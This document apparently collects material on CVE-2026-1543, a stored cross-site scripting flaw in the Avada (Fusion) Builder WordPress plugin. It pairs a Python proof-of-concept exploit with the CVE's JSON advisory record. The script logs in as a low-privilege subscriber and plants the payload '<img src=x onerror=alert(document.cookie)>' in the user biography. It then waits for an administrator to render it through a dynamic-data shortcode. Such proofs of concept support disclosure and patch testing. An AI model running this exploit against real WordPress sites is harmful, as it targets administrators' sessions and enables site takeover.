CVE-2026-1543

# Proof of Concept for CVE-2026-1543 # This script demonstrates the injection of XSS via user biography. import requests from bs4 import BeautifulSoup target_url = "http://example.com" username = "subscriber" password = "password" # 1. Login as Subscriber session = requests.Session() login_data = {"log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url + "/wp-admin/"} session.post(target_url + "/wp-login.php", data=login_data) # 2. Update User Profile with XSS Payload # The payload triggers an alert when rendered xss_payload = '<img src=x onerror=alert(document.cookie)>' # Fetch profile page to get nonce profile_page = session.get(target_url + "/wp-admin/profile.php") soup = BeautifulSoup(profile_page.text, 'html.parser') # nonce extraction logic would go here (simplified for PoC) nonce = "fetch_real_nonce_from_page" update_data = { "_wpnonce": nonce, "_wp_http_referer": "/wp-admin/profile.php", "description": xss_payload, # Injecting into Biographical Info "action": "update" } session.post(target_url + "/wp-admin/profile.php", data=update_data) print("[+] Payload injected into user biography.") # 3. Trigger Execution # An Administrator must visit a page containing the Avada shortcode # that renders the user biography (e.g., [fusion_dynamic_data user_meta='description']). print("[+] Waiting for Administrator to view page with vulnerable shortcode...")

{"cve": {"id": "CVE-2026-1543", "sourceIdentifier": "[email protected]", "published": "2026-05-21T05:16:22.257", "lastModified": "2026-05-21T15:19:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Avada (Fusion) Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcodes in all versions up to, and including, 3.15.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user (typically an administrator) accesses a page displaying dynamic user data (such as via the Dynamic Data feature pulling user biographical information)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://avada.com/documentation/avada-changelog/", "source": "[email protected]"}, {"url": "https://themeforest.net/item/avada-responsive-multipurpose-theme/2833226", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/72a6b040-ed02-4561-82f2-4adb820bdf7d?source=cve", "source": "[email protected]"}]}}